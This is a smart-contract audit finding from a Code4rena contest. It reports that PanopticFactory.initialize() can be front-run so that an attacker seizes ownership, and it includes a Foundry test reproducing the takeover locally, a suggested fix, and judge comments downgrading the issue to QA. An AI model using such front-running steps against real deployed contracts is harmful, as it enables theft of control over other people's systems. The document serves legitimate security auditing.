panopticFactory.initialize() can be frontrunned

[c4-bot-10]

Lines of code

https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/PanopticFactory.sol#L134

Vulnerability details

Impact

Unsafe initialize function, PanopticFactory.initialize() can be front-runned, When the factory contract is deployed and initialize() function is called by whoever the owner is,Anyone monitoring the mempool can frontrun the PanopticFactory.initialize() and take ownership of the contract since it can be called by anyone. Refer to the below simple coded-poc. Paste the below test under test/foundry and run forge test --match-path test/foundry/testfile.t.sol

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

// Foundry
import "forge-std/Test.sol";
//core
import {PanopticFactory} from "@contracts/PanopticFactory.sol";
import {PanopticPool} from "@contracts/PanopticPool.sol";
import {CollateralTracker} from "@contracts/CollateralTracker.sol";
import {SemiFungiblePositionManager} from "@contracts/SemiFungiblePositionManager.sol";
import {IUniswapV3Factory} from "v3-core/interfaces/IUniswapV3Factory.sol";
import {IDonorNFT} from "@tokens/interfaces/IDonorNFT.sol";
import {DonorNFT} from "@periphery/DonorNFT.sol";


contract PanopticFactoryHarness is PanopticFactory {
  constructor(
      address _WETH9,
      SemiFungiblePositionManager _SFPM,
      IUniswapV3Factory _univ3Factory,
      IDonorNFT _donorNFT,
      address poolReference,
      address collateralReference
  )
      PanopticFactory(_WETH9, _SFPM, _univ3Factory, _donorNFT, poolReference, collateralReference)
  {}

  function getPoolReference() external view returns (address) {
      return POOL_REFERENCE;
  }
}

contract PanopticTest is Test {

  PanopticFactoryHarness panopticFactory;
  IUniswapV3Factory V3FACTORY = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984);
  SemiFungiblePositionManager sfpm = new SemiFungiblePositionManager(V3FACTORY);
  address _WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
  address factory_deployer = address(0x1);
  address alex = address(0x2);
  function setUp() public {
      IDonorNFT dNFT = IDonorNFT(address(new DonorNFT()));
      panopticFactory = new PanopticFactoryHarness(
          address(_WETH),
          sfpm,
          V3FACTORY,
          dNFT,
          address(new PanopticPool(sfpm)),
          address(new CollateralTracker(10, 2_000, 1_000, -1_024, 5_000, 9_000, 20_000))
      );
      
  }

  function _deployer_initialize() private {
      panopticFactory.initialize(factory_deployer);
  }

  function _frontrun_initialize() private {
      panopticFactory.initialize(alex);
  }
  function test_initialize_frontrun() public {

      //Factory deployer deploys panopticFactory contract
      //Then calls panopticFactory.initialize(), But alex seeing the transaction in the mempool frontruns the initialize with his address.
      _frontrun_initialize();
      //Now the deployer's initialise call will just exit the if condition.
      _deployer_initialize();
      //Asserting that now the owner of panopticFactory is Alex
      assertEq(panopticFactory.owner(),alex);


  }


}

Tools Used

Vs-Code/Foundry

Recommended Mitigation Steps

Maybe include the initialize in the constructor.(Just a suggestion)

Assessed type

Other

[c4-judge]

Picodes marked the issue as duplicate of #523

[c4-judge]

Picodes changed the severity to QA (Quality Assurance)

[c4-judge]

Picodes marked the issue as grade-c